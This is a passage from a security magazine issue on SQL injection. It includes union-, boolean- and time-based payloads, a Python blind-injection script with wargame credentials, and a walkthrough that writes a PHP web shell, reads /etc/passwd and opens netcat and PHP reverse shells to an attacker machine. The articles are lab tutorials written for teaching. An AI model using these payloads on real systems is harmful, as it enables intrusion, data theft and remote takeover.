0% found this document useful (0 votes)
77 views179 pages

SQL Injection Techniques and Defense Guide

This document outlines the editorial team and contributors for a publication focused on SQL injection attacks, detailing various types of SQL injection techniques and their implications for web security. It includes tutorials for both beginners and advanced users, emphasizing the importance of securing databases against such vulnerabilities. Additionally, it expresses gratitude to contributors and highlights the need for collaboration among IT security departments to ensure application safety.

Uploaded by

Meenakshi G
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
77 views179 pages

SQL Injection Techniques and Defense Guide

This document outlines the editorial team and contributors for a publication focused on SQL injection attacks, detailing various types of SQL injection techniques and their implications for web security. It includes tutorials for both beginners and advanced users, emphasizing the importance of securing databases against such vulnerabilities. Additionally, it expresses gratitude to contributors and highlights the need for collaboration among IT security departments to ensure application safety.

Uploaded by

Meenakshi G
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

TEAM Betatesters &

Editor-in-Chief
Joanna Kretowicz
Proofreaders
[Link]@[Link]
Lee McKenzie
Editors:
Hammad Arshed
Marta Sienicka
[Link]@[Link] Ali Abdollahi

Dominika Zdrodowska Robert Fling


[Link]@[Link]
Bernhard Waldecker
Marta Strzelec
[Link]@[Link] Avi Benchimol

Bartek Adach Amit Chugh


[Link]@[Link]
Kevin Goosie
Proofreader:
Lee McKenzie Raymond Obinaju

Senior Consultant/Publisher: Tom Updegrove


Paweł Marciniak
Jackson Bennett
CEO:
Joanna Kretowicz Dan Dieterle
[Link]@[Link]
Saeed Dehqan
Marketing Director:
Joanna Kretowicz Ivan Gutierrez Agramont
[Link]@[Link]
David Kosorok
DTP
Marta Sienicka
[Link]@[Link]

Cover Design
Hiep Nguyen Duc
Joanna Kretowicz

Publisher
Hakin9 Media Sp. z o.o.
02-676 Warszawa
ul. Bielawska 6/19
Phone: 1 917 338 3631

[Link]

All trademarks, trade names, or logos mentioned or used are the


property of their respective owners.

The techniques described in our articles may only be used in private,


local networks. The editors hold no responsibility for misuse of the
presented techniques or consequent data loss.
Dear readers,

In this month’s edition we present various tutorials and guides about SQL injection attacks. It’s one of the

most common web hacking techniques that can be highly effective. While reading articles you will take a

closer look at different types of SQL, such as Blind SQL, SQL Server, NoSQL and in each article you will

learn how to perform an attack. For beginners, one of the first articles The ART of Injecting will give you a

great explanation of the topic, along with a tutorial to show you how it works in practice. Don’t forget to

check Reverse Shell and Privilege Escalation with SQL Injection, where author demonstrates attacks on

examples. Further articles have more advanced content, we especially recommend reading Exploiting

Out-Of-Band (OOB) SQL injections in HTTP Headers and Time-based SQL Injection. Offensive security is a

big part of this edition, however we also have some articles that you will help you secure your system.

As we know SQL injection might destroy your database, how to protect yourself from it? In the article

about detection and prevention you will see examples how you can stop this attack from happening or at

least minimize the damage. Countermeasures of SQLi will give you an overview of best methods to use to

secure your database and explain how they work.

We also have two articles unrelated to SQL injection. Taking Over Employee Accounts and a simple IDOR is

a write up about a Bug Bounty collected by author. He discovered a flaw in the system and exploited it.

Why IT Security Departments (alone) cannot guarantee Secure Applications is an interesting article that

shows how cooperation between various departments can guarantee safety of the company. How it

increases the effectiveness when all teams work together and communication between them is clear.

We would like to send a big thank you to all contributors that joined this edition! Without you, this amazing

issue wouldn’t be possible. Special thanks to all the reviewers and proofreaders involved in the process of

creating this issue.

Enjoy the reading,

Hakin9 Editorial Team


3
4
5
REVERSE SHELL
AND PRIVILEGE
ESCALATION
WITH SQL
INJECTION
JOAS ANTONIO
More than 8 years of academic and professional experience. Cyber

Security Consultant Professional Purple Team, Information Security

Researcher, Ethical Hacker and Professional PenTester, OWASP Member

and Researcher, Cybrary Teacher Assistant, Instructor and Consultant by

ACADI-TI. Microsoft Innovative Educator, Bug Bounty Hunter by

HackerOne, BugCrowd and OBB, Python Developer, has over +460

technology courses and +42 International Certifications, Infosec

Competence Leader Brazilian in Security Awareness, Cyber Security

Mentor, Article Writer and Exploit Developer.

7
Reverse Shell and Privilege Escalation with SQL Injection

Introduction

Attacks on web applications are quite common today, mainly due to the high migration of services to web applications, and
when talking about the main vulnerabilities according to OWASP-TOP 10, many already think about the SQL injection
attack, as it is a security breach that causes major impacts that many web applications around the world remain vulnerable
to.

What is SQL injection?

The SQL Injection Attack consists of injecting commands from the SQL database to delete, collect or modify data from a
database. It occurs when the data provided by the user is not validated correctly and interpreted as a form of injection of
data.

What are the types of SQL Injection attacks?

In-band SQLi (Classic SQLi)

In-band SQL Injection is the most common and easy-to-exploit of SQL Injection attacks. In-band SQL Injection occurs
when an attacker is able to use the same communication channel to both launch the attack and gather results.

Error-based SQLi

Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by the database server to
obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an
attacker to enumerate an entire database. While errors are very useful during the development phase of a web application,
they should be disabled on a live site, or logged to a file with restricted access instead.

Union-based SQLi

Union-based SQLi is an in-band SQL injection technique that leverages the UNION SQL operator to combine the results of
two or more SELECT statements into a single result which is then returned as part of the HTTP response.

Inferential SQLi (Blind SQLi)

Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous
as any other form of SQL Injection. In an inferential SQLi attack, no data is actually transferred via the web application and
the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as
“blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads,
observing the web application's response and the resulting behavior of the database server.

8
Reverse Shell and Privilege Escalation with SQL Injection

The two types of inferential SQL Injection are Blind-boolean-based SQLi and Blind-time-based SQLi.

Boolean-based (content-based) Blind SQLi

Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database
that forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to
infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically
slow (especially on large databases) since an attacker would need to enumerate a database, character by character.

Time-based Blind SQLi

Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database
that forces the database to wait for a specified amount of time (in seconds) before responding. The response time will
indicate to the attacker whether the result of the query is TRUE or FALSE.

Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker
to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically
slow (especially on large databases) since an attacker would need to enumerate a database character by character.

SQLi Out-of-Band

Out-of-band SQL Injection is not very common, mostly because it depends on features being enabled on the database
server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same
channel to launch the attack and gather results. Out-of-band techniques offer an attacker an alternative to inferential
time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack
unreliable).

[Link]

These are the basics of a SQL Injection attack, but of course there are a few more advanced attacks that can be used to get a
Reverse Shell.

However, with the protection mechanisms known as WAF/IDS/IPS, it made it a little difficult to carry out these attacks,
being necessary to create payloads that manage to bypass these controls.

9
Reverse Shell and Privilege Escalation with SQL Injection

How does a WAF work?

This image summarizes the entire traffic process that occurs:

1. The user makes a request in the application;

2. This request goes through the WAF to which it will validate whether or not it is malicious;

3. And finally, go to the application server if everything goes well to bring an answer to the user;

WAF's goal is to prevent any type of injection attack or request manipulation and adopt policies for sanitizing invalid data
entries. In addition to being very useful for detecting a 0day according to the type of data entry that is being inserted, it is
therefore a little more difficult to bypass a WAF without knowing it before and understand web development to create your
payloads using anti-filter techniques and character escape methods.

Demonstrating some SQL Injection attacks

After we acquire the basics of knowledge in SQL Injection attacks, let's go to practice. I will be using the Metasploitable
laboratory to carry out the demonstrations, however if you want to go deeper into SQL Injection, I cannot help
recommending other laboratories:

[Link]

[Link]

[Link]

[Link]

[Link]

[Link]

[Link]

10
Reverse Shell and Privilege Escalation with SQL Injection

Reading and Writing Files with SQL Injection:

A method that is not widely used, but very useful to perform SQL Injection attacks and thus steal information or even get a
Reverse Shell, is through reading and writing a file.

Usually because of an incorrect permissions setting on the web application server, the web server user can not only read,
but even edit files or create them within the directory, being able to upload a .php shell to compromise the server.

For example:

You have different types of payloads that can be useful for saving files on a system, for example:

'union select 1, “<? php system ($ _ GET [' cmd ']); ?> ”Into outfile '/var/www/[Link]'
#

This payload allows me to create a file called [Link] and it contains a code in php to execute commands by the
application.

And if we want to read a file, we can use the following payload

'UNION SELECT 1, load_file (' / etc / passwd ') #

11
Reverse Shell and Privilege Escalation with SQL Injection

So it returns the /etc/passwd of the target, in addition to being able to exfiltrate other files you want.

Some methods and payloads that you can use to go further on your explorations:
[Link]

[Link]

SQL Injection to Remote Code Execution:

After uploading that [Link] on the web server, we can use it to reach a reverse shell, first let's call our little shell in PHP.

http: //vulnserver/[Link]? cmd = ls -ls

It returns us the directories of the current folder, thus obtaining success in the execution of remote code, thus opening a
range for several opportunities being possible until obtaining a Meterpreter, however, we will upload a basic Netcat first.

12
Reverse Shell and Privilege Escalation with SQL Injection

But first, let's run the Whereis command to check if there is a netcat on the machine.

http: //vulnserver/[Link]? cmd =whereis nc

Success! Now we can open a Reverse Shell quietly at the door we want.

First I open a Netcat on my Kali Linux on port 4321:


Command: nc -nvlp 4321
In short, he opens a door, lets it listen and returns every interaction made by it.

Finally, I run netcat via [Link] to communicate with this port, using the following command:

http: //vulnserver/[Link]? cmd =nc -nv ipkalilinux 4321 -e / bin / bash

So I communicate with the machine and run a shell so I can interact with the machine, but I can make this shell more
interactive using the following command:

python -c “import pty; [Link] ('/ bin / bash')” (Python2) python3 -c “import pty;
[Link] ('/ bin / bash')” (Python3)

Now you just have to escalate privileges; in metasploitable you can use PHP to do this escalation, just follow two processes.
13
Reverse Shell and Privilege Escalation with SQL Injection

Open another terminal on Kali Linux and upload a netcat to a random port;

Just run the following command on the current Reverse Shell: php -r '$ sock = fsockopen (“ipkalilinux”,
port); exec (“/ bin / sh -i <& 3> & 3 2> & 3”);'

This is a method of raising a Reverse Shell and Escalating privilege, there are others mainly exploiting MySQL's default
credentials and thus performing the following process.

mysql -u root -h target

After that just create a shell in PHP using the following payload:

select '<? php $ output = shell_exec ($ _ GET ["cmd"]); echo "<pre>". $ output.
"</pre>"?>' into outfile '/ var / www / html / cmd. php 'from [Link] limit 1;

Finally, open the web application and run the following parameter

http: //ip-do-webserver/[Link]? cmd = id

Ready! Now just use creativity to raise your level.

Conclusion

SQL Injection attacks are easy to fix, but unfortunately there are thousands of vulnerable applications, even from large
companies that generally receive reports through Bug Bounty programs.

Therefore, I recommend developers invest in application security and put good security practices into action, so that a safe
application is created and can hardly be compromised. Of course no system is safe, but our role as professionals in safety is
to ensure that the impacts are as small as possible.

14
SQLI - THE ART
OF INJECTING
STAFORD TITUS
I am a budding Ethical Hacker pursuing my final year of a Bachelor’s

degree in Computer Science and Engineering at Jaya Engineering

College, Chennai, India. I have immense interests in Reverse Engineering,

Malware Analysis and Automotive Hacking. I have also participated in

several global and national level CTF competitions and I’m currently

working on a few security-related projects. Anyone interested in

collaboration or assistance can reach me on twitter (@StafordTitus) or

LinkedIn (Staford Titus).

16
SQLi - The ART of Injecting

It was December 1998, with the cold winds howling about and the Christmas spirit filling the air as Christmas was just
around the corner when Jeff Forristal, a.k.a. Rfp (Rain Forest Puppy), working on finding Windows NT vulnerabilities,
suddenly stumbled upon, possibly, the oldest documented discovery of SQL Injection. He also found that he could
completely change the way that SQL worked. He had informed Microsoft about the issue, but according to them, it was not
a problem at that time. So much for not being a problem, injection is still at the top of OWASP's top 10 list fast forward 15
years. Jeff also wrote about his find on the 54th, 25th December 1998's Issue of Phrack Magazine. In his writings, Jeff
explains how SQL Injection attacks could quite possibly even render the server insecure.

"Getting to know how something came to be would be a great start to understanding how it is what it is today!" That is the
idea behind the quick prelude emphasizing how a small, unexpected discovery could lead to an intimidating vulnerability
still in existence today, owing to the sheer negligence and underestimation of its ubiquity.

What is Injection? SQL Injection?

Injection, as the name suggests, is a method of injecting or being able to pass on characters or words through an
unvalidated or semi-validated field, such that it directly reflects upon or executes commands/queries, to be carried out on
the server's end. The injection has several types, such as OS Command Injection, SQL Injection, Email Header Injection,
and so on. SQL Injection is one of the most popular types of injection attacks. SQL Injection is when SQL commands or
parts of SQL commands are injected through the unvalidated fields to cause the execution of custom queries on the MySQL
database running in the backend. These queries could include SELECT, UNION, LIMIT, and several other MySQL
keywords to manipulate the actions executed by them. There are several types of SQL Injection, which can be further
subdivided into narrower types, as shown in Fig 1.1.

Fig 1.1: SQL Injection Types

SQL Injection is dangerous due to the level of possible attacks, which could be as invasive as printing out a password stored
in plaintext to deleting the entire database. This article touches upon the Error based and Boolean based SQL attacks.

17
SQLi - The ART of Injecting

Let’s get right to Business!!!

No lab-setup is required to try out the following SQLi attacks since you are only going to make use of the Natas wargame
available for free over on [Link] though you would still need either Burp Suite or Zap
for a few attacks that might prove futile on manual work. If you still, though, prefer to work in a lab environment, then you
could download the Metasploitable virtual image that contains several labs you could try within Mutillidae and DVWA.

Classic Error-Based SQL:

Once you have successfully set up Burp Suite or ZAP, head over to [Link] where on
being greeted with a username and password prompt, you would have to enter the following credentials:

Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Fig 1.2 depicts the website that would be displayed once the credentials have authenticated.

Fig 1.2: Natas14 Website

On trying random usernames and passwords, we get an "Access Denied!" message. Thus, on clicking the "view source code"
link, code similar to Fig 1.3 can be seen.

Fig 1.3: Natas14 source code

18
SQLi - The ART of Injecting

From Fig 1.3, we analyze that there is no validation on the input, but it's being passed right into the SQL query. The SQL
query itself is as given below:

$query = "SELECT * from users where username=\"".


$_REQUEST["username"]."\" and password=\"".
$_REQUEST["password"]."\"";

Hence, it seems that the username and password are being placed dynamically in the query during runtime. Thus, any data
being passed dynamically, especially without validation, is a conspicuous indicator that it is vulnerable to injection attacks.
On destructuring the SQL query, it boils down to a simple select statement as follows, where the username and password
entered in the HTML form replaces <username> and <password>:

SELECT * FROM users WHERE username="<username>" and


password="<password>";

Due to the absence of a validation function, everything provided to the form will easily pass through to the SQL query. The
username and password passed in are placed within the (") double-quotes. To directly login without the password, enter the
following in the username field:

natas15" #

The deconstruction of the above entry is simple. “natas15“ is the username of the next level and hence on a hunch, we try
natas15, but the single (") double-quote is used to break out of the username field. Now the # (hash) symbol is added since
the hash depicts that the rest of the parts after the hash are comments in SQL. Thus the second part of the sentence, which
is the password part, is considered to be a comment and not a part of the original query. Thus, the query only executes the
search for a user with the username "natas15". Hence, the search executed reflects as follows:

SELECT * FROM users WHERE username="natas15"

Thus on finding that such a user does indeed exist, it prints out the required result, that is, the password for the next level.

Blind Boolean Based SQL:

Head over to [Link] and enter the username as "natas15" and the password
found in the previous level in the prompt. Now, all that is visible on the website is as shown in Fig 1.4.

19
SQLi - The ART of Injecting

Fig 1.4: Natas15 Website

Hence, on trying random usernames, like admin, natas14, and natas15, we get an error saying, "This User doesn't exist!"
But when we try "natas16", we obtain the result, "This user exists!"

Now, on viewing the source code by clicking on the "view source code" link, we see the following query:

$query = "SELECT * from users where username=\"".


$_REQUEST["username"]."\"";

Hence, from the above results, we can conclude that they are of the Boolean form.

This user doesn't exist: FALSE


This user exists: TRUE

Hence, this is a type of Boolean-based Blind SQLi.

Now, when we try ' natas16" ' as the username with (") double-quotes as follows, we get a message as "Error in query!" from
which we can understand that it is vulnerable to SQLi.

SELECT * FROM users WHERE username="natas16"";

We then try the union command (with the hash symbol and the username as anything other than "natas16") as follows:

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1 #";

We get an error, so maybe the number of columns specified by us on the right part of the query is not equal to the left part.
Hence, we try adding columns as 1, 2, 3, 4, etc. On adding 1, 2, as follows, we get the message that "This user exists!".

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 #";

Hence, we determine that the users' table has two columns. We could have easily determined this from the source code, but
what if we are in a situation where we are not allowed to view the source code? From the source code, we can confirm that

20
SQLi - The ART of Injecting

the two columns are "username" and "password". But how do we find that manually without the help of the source code?
Well, we first try to check if the UNION command works with the Information Schema of the database as follows:

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM INFORMATION_SCHEMA.tables;#"

The above query also returns true; hence, we can work upon that to try and obtain the table name. The part we need to add
to the query should help find the name of the table, and thus we try searching if the substring of the table name contains "a"
as the first letter as follows to which we get the user doesn't exist message. Thus there is no error in the query.

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM INFORMATION_SCHEMA.tables WHERE
substring(table_name, 1, 1)="a";#"

Next, we try the same query with the letter "u", but since we know that several tables that pre-exist in the MySQL database
would also contain those characters, we eliminate them and get a "This user exists!" message as follows.

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM INFORMATION_SCHEMA.tables WHERE
table_schema != "information_schema" AND table_schema !
="mysql" AND table_schema !="performance_schema" AND
substring(table_name, 1, 1)= "u";#"

In the same way, we could also find the second letter as follows:

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM INFORMATION_SCHEMA.tables WHERE
table_schema != "information_schema" AND table_schema !
="mysql" AND table_schema !="performance_schema" AND
substring(table_name, 2, 1)= "u";#"

Surely, this would take a very long time if we try it manually. Hence, this is where Burp Suite comes to the rescue. Keeping
the intercept on, we try the previous query once more. Now we send the request to the intruder(Ctrl+i) where we set the
payloads as follows:

21
SQLi - The ART of Injecting

Fig 1.5: Burp Suite Intruder

Now we set the attack type to Cluster bomb and head over to the Payloads tab to set the options for the payloads, as shown
in Fig 1.6 and Fig 1.7.

Fig 1.6: Setting First Payload

22
SQLi - The ART of Injecting

Fig 1.7: Setting Second Payload

Thus, when we start the attack, how do we identify the letters that would be a part of the table name? For this, we head over
to the options tab of the attack window and click on "Add" under the "Grep Extract" section. Now we scroll down to find
either the "This user exists!" message or "This user doesn't exist!" message to be added as an extraction field. Now on
heading back to the Results tab, the Grep-Extract would have taken effect as shown in Fig 1.8.

Fig 1.8: Adding Grep-Extract Field

Double-clicking on the column header for the new extracted field, we get the result as shown in Fig 1.9.

23
SQLi - The ART of Injecting

Fig 1.9: Grep-Extract Field is Reflected

Hence, from this, we can identify that "u" is the first letter, "s" is the second letter, "e" is the third letter, and so on to get the
table name as "users" table.

Fig 1.10: Table name is users

Now we need to find the column names. Since we now know the table name, we can use it as follows:

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM INFORMATION_SCHEMA.columns WHERE
table_name = "users" AND substring(column_name, 1, 1)=
"u";#"

Now we again perform all the same functions we did on Burp to get the column names.

Here we see that "u" as well as "p" are available for position 1, and so on for the others, thus there are probably two
columns. Hence using all the letters, we get two columns as "username" and "password" columns, just as it was in the
source code.

We now need to find the password itself, which is the main task. Since we now know the table name as well as the column
names, we can execute the following query:

24
SQLi - The ART of Injecting

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM users WHERE username="natas16" AND
substring(password, 1, 1)= "u";#"

Now we can again perform the same operations we performed to find the table name as well as column name, but the
password as we have seen before is 32 characters and could contain lowercase, uppercase letters as well as numbers. Hence,
we need to make sure that the results are case sensitive as well. Thus we add the BINARY keyword as depicted in the query
below:

SELECT * FROM users WHERE username="anything" UNION ALL


SELECT 1, 2 FROM users WHERE username="natas16" AND
substring(password, 1, 1)= BINARY "u";#"

We then set the "to" field of the 1st payload to 32, and in the 2nd payload, we add capital letters as well, as shown in Fig 1.11.

Fig 1.11: Setting payload Character set to include capital letters

Also, adding the Grep Extract option, we finally get the password characters, which we can easily arrange by adding it to a
Google sheet and sorting the position column to in turn get the password as shown in Fig 1.12.

25
SQLi - The ART of Injecting

Fig 1.12: Sorting the position column to get the password

A simple Python program could perform the attack and get the password much faster, but the reason behind the article was
to provide an in-depth view of the SQL Injection process. For those of you who would instead use the Python program, here
it is:

26
SQLi - The ART of Injecting

import requests
from [Link] import HTTPBasicAuth

chars =
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012345
6789'
filtered = ''
passwd = ''

for char in chars:


Data = {'username' : 'natas16" and password LIKE BINARY
"%' + char + '%" #'}
r = [Link]('http://
[Link]/[Link]?debug',
auth=HTTPBasicAuth('natas15',
'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
if 'exists' in [Link] :
filtered = filtered + char

for i in range(0,32):
for char in filtered:
Data = {'username' : 'natas16" and password LIKE
BINARY "' + passwd + char + '%" #'}
r = [Link]('http://
[Link]/[Link]?debug',
auth=HTTPBasicAuth('natas15',
'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
if 'exists' in [Link] :
passwd = passwd + char
print(passwd)
break
(Python Code Source Credits : [Link]

27
SQLi - The ART of Injecting

Conclusion

Just reading an article can help form maps in your memory, but only by a more practical approach can the mechanics be
embedded into those maps. The theme of this article is to impart a practical understanding of how SQL Injection works.
Hopefully, it has delivered on that.

Resources:
1. 54th, 25th December 1998’s Issue of Phrack Magazine : [Link]

2. abatchy’s blog with Python code : [Link]

3. Chris Dale’s Walkthrough of natas15 : [Link]

28
TIME-BASED
SQL INJECTION
MUKUL KANTIWAL

My name is Mukul Kantiwal and I work as a Security Analyst for a privately owned organization. I am

an author and instructor of the course Web Application Attacks and API Hacking (W51) at [Link].

I have also published articles on Burp Suite techniques and primer to fuzzing techniques using spike.

I am listed in the top 100 hackers by ringzer0team. I have experience with Web Apps, Mobile Apps,

APIs, networks, Thick client, RFID, etc. I have recently started a YouTube channel where I am planning

to show different types of techniques and post some tutorials about information security. Feel free to

reach out if you have a topic in mind on which I should prepare some content.

Apart from researching topics in the cyber security domain, I write poetry sometimes and I have a

small poetry blog named poetground. If any of the readers are interested in posting any of their

poetry, do reach out to me for posting your poetry or you can use the poetry to impress your

girlfriend/wife ;)

The language for your poetry is not a problem and can be posted. :)

Email: keanureeves456@[Link]

LinkedIn: [Link]

Github: [Link]

Youtube channel: ([Link] The Cyber

Ground

Poetry: [Link]
30
Time-based SQL Injection

Introduction

This paper is focused on understanding time-based SQL injection. Time-based SQLi is considered one of the more difficult
types of SQLi attacks in today’s world. The reason why it is considered an advanced form of SQL injection is because
time-based SQLi is very difficult to find by any automated scanner present in today’s world and no one is interested to
identify/exploit the vulnerability manually when they know that it is going to take a whole lot of time. I am not saying that
the automated scanners cannot identify it but there are too many variables to consider working on time-based SQL
injection using an automated scanner. For example, a delay in the response due to the network issues can sometimes cause
a false positive for being a time-based SQLi.

Hence, a true time-based SQL injection is usually checked manually. Due to such reasons, a time-based SQLi is rarely
looked for as compared to many other vulnerabilities that are a bit easier to identify, considering time-based SQLi a difficult
vulnerability to spot or identify.

Description

Time-based SQL injection is very unique and, in a real time penetration test, it is usually tested for as the last in the list of
all the SQL injection attack techniques. It is used when there is no other way to retrieve information from the database.
Time-based SQLi attack injects a SQL segment that contains a query that generates a time delay. Depending on the time it
takes to get the server response according to the query, it is possible to get some information.

Time-based attacks can be used to perform a basic test like determining if a vulnerability is present or not. Identifying
vulnerabilities is not the only usefulness of time-based attacks. When the time delay is provided in a conditional statement,
the attacker will be able to extract data from the database. Simply put, by injecting a conditional time delay in the query the
attacker can ask a yes/no question to the database. Depending on whether the condition is verified or not, the time delay
will be executed and the server response will be abnormally long for a verified condition and instant result in case of a
not-verified condition. This will allow the attacker to know if the condition was true or false.

Preparing the setup for time-based SQLi

We have a lab for understanding time-based SQL injection and will be using the same for the sake of this paper. The tools of
trade here are as follows:

Test Lab: [Link] (Lesson 9)

Browser: Firefox (optional) [you can use any browser of your choice]

Proxy: BurpSuite (optional)

31
Time-based SQL Injection

Using a proxy is not required, the queries can be written in the URL itself, but I will be using a proxy so things are clear to
understand as a browser might change the complete query into gibberish due to the encoding done by the browser, also the
time difference will be difficult to explain on the browser.

I am running this lab in one of my virtual machines and will be using the IP address of that machine so please don’t get
confused on the IP address part. You can run this lab on your localhost as well and use it for practice at your end.

Once the lab is setup, you can run it on the browser and open Lesson 9, it will be visible as follows:

Fig. 1

The application asks us to input an ID parameter with numeric value for the ID parameter as visible in Fig. 1.

Fig. 2

We can see that entering an ID will result with a message “You are in.......” as visible in Fig. 2.

As per the result so far, the understanding as an attacker would be that there is a condition/query written in the code, which
would be something like this:

if ((Select * from users where id=’[integer_value]’)=id)

print (“You are in............”);

32
Time-based SQL Injection

Attempt to break the SQL query

Just like every SQL injection technique, we will try to break the SQL query by entering some special characters or entering a
string instead of a numeric value and attempt to force the application to throw an error so we can figure out the syntax
being used in the actual code of the application to bring out the result from the database.

Firstly, we will try to enter some special characters in the query so that we can break it. Here we will enter everyone’s
favourite single quote character after id=1.

Fig. 3

By entering the special character, there is no effect over the application and it looks like the application is accepting the
special characters and providing us with an expected result of “You are in.......”. I have tried a bunch of things here in order
to break the query like a string and other special characters, null byte, etc. to break the query but the result was still the
same, which says “You are in.................” as visible in Fig. 4.

Fig. 4

Now, we can try a plethora of characters or apply different SQL injection techniques here to break the query but the query
won’t break and it will not throw out any error to help us formulate a SQL injection attack.

33
Time-based SQL Injection

Identify time-based injection

During the start of this paper, we tried to understand the time-based injection theoretically and we established that by
injecting a conditional time delay in the query the attacker can ask a yes/no question to the database.
Depending on the point that the condition is verified or not, the time delay will be executed and the server
response will be abnormally long for a verified condition and an instant result in the case of not-verified
condition. This will allow the attacker to determine if the condition was true or false.

In the current scenario, we can try to enter a time delay in the query but in order to do that, we need to think of a condition
and the function to use in order to perform a time-delay.

The time-delay can be applied using some of the functions/procedures based on the point that is being supported by the
backend database.

Table 1 below gives quick information on what can be used and what cannot be used in the case of the below relational
databases being used at the backend. Please go through the documentation of different databases in order to understand
the functions used.

Table 1

DBMS Function Notes

MySQL SLEEP(time) Only available since MySQL 5. It takes a number of


seconds to wait in the parameter.
Executes the specified expression multiple times. By
using a large number as the first parameter, you will
BENCHMARK(count, expr)
be able to generate a delay. Please refer to MySQL
website for complete details.

Suspends the execution for the specified amount of


WAIT FOR DELAY 'hh:mm:ss' time. For more information about this procedure go
through the SQL Server documentation.
SQL Server Suspends the execution of the query and continues it
WAIT FOR TIME 'hh:mm:ss' when system time is equal to the parameter. Please
look at the SQL Server documentation for more
information.

Oracle See condition syntax and notes. Time-based attacks are more complicated in Oracle.
Refer to the Oracle documentation.
DBMS Condition syntax Notes

MySQL IF(condition, when_true, when_false) Only valid when used in a SQL statement. In a stored
procedure, the syntax is identical to Oracle's.

SQL Server IF condition when_true [ELSE Can only be used in stored procedure or in an
when_false] independent stacked query.

Oracle IF condition THEN when_true [ELSE Can only be used in PL/SQL.


when_false] END IF

34
Time-based SQL Injection

Here, in the scenario of our lab, we do not know what the backend database is. Although, we can find some information on
it using banner grabbing but for this scenario, let us consider that the backend database is unknown to us as an attacker.
We can try all these functions one by one in order to confirm the vulnerability as the backend database is unknown to us.

Currently, we know that by entering a value in the ID, it will provide us with a message that says “You are in.............”. So,
we can wrap our delay condition along with this value of ID and ask the application when the ID is equal to 1, along with a
condition we will compose to make up a true value, then provide us a result page after 10 seconds.

Fig. 5

The condition written in Fig. 5 is “?id=1’ and sleep(10) --+”

The result after using this payload was that the page loaded after 10 seconds. By looking at Fig. 5, you might not believe it so
let me show you the same thing in burpsuite.

Fig. 6

35
Time-based SQL Injection

We can see this in the bottom right corner of Fig. 6 that the response came back to us after 10,003 milliseconds. This was
the result when the condition was true.

Confirmation for time-based injection

In order to get a complete confirmation, let us try to perform some more tests to be completely sure of the point that the
vulnerability exists for sure. We shall try to perform two tests where one will be with the false condition and other one with
the true condition. We will perform the test with a true condition first and as a result of this condition, we assume that the
response will come back from the server after 10 seconds. Let us move forward and have a look at it in action.

Fig. 7

Fig. 7 displays that the result came back to us after 10002 milliseconds, which is 10 seconds. The condition we used in Fig. 7
is as follows:

?id=1’ and if(1=1,sleep(10),null) --+

Here, we have used “if”, which is a conditional operator. People who are familiar with programming must know what it
means. For others, the simple explanation would be if the result is true, return some value else return false. The same thing
is written in Table 1. for reference.

If condition will take three values whose syntax will be as follows:

if(condition,[value to return if the condition is true],[value to return if the condition


is false])

For if statement in Fig. 7, the things are written as follows:

36
Time-based SQL Injection

condition ----> 1=1

value to return if the condition is true ----> sleep(10), here, we have asked the database to go to sleep for 10 seconds and
then give us the result if the condition is true.

Value to return if the condition if the condition is false ----> null

We will now move forward and use the same technique to find what happens if the condition is false.

Fig. 8

We can see in Fig. 8 in the bottom right corner that the result was returned back to us in 2 milliseconds, which is definitely
not 10 seconds as we mentioned in the condition to sleep for 10 seconds and provide the result. Here, the result came back
to us instantly, which means the condition was false. As it is visible in the request, the condition we used in Fig. 8 is:

?id=1’ and if(1=0, sleep(10), null) --+

The result came back to us instantly, which means the condition was false as visible 1=0 is surely false. Hence, we have
confirmed our point that time-based injection exists on the page.

Now, we have confirmed the point properly that time-based SQL injection exists on the page. The function we used for the
delay is sleep() and this function is of MySQL database, therefore, with an attacker’s perspective it is also confirmed that the
backend database is MySQL.

37
Time-based SQL Injection

Confusing parts

Apart from this confirmation, there might be some confusion over some points. I suspect that the points in your mind
would be:

1. Why did we use a single quote along with the sleep()?

2. Why is there a “+” sign in the middle of the query in Fig. 6, 7, 8?

3. What is the meaning of “--+” at the end of the query?

4. What is “null” and why did we use it?

Answers:

1. It is a hypothesis that the query in the backend code contains a single quote at the end of the value. We
constructed a small query under Fig. 2 where we put a single quote in the query based on our hypothesis. In a
real time scenario, it is not necessary that a single quote would be working. Based on the point of how the
developer constructed the query in the code, the quotes would be applied. If a single quote wasn’t working, then
I would try with a double quote, if that doesn’t work, I would put a closing bracket after the double quote and so
on. The motive is to find the character that can close the query somehow. This character can be a single quote or
double quote or anything else, depending on how the developer has constructed the query.

2. The “+” sign is because of the URL encoding being used in Burp Suite. If there are spaces in the strings used on
the URL bar, the browser would automatically put a + sign at all the spaces in the strings. Sometimes, the
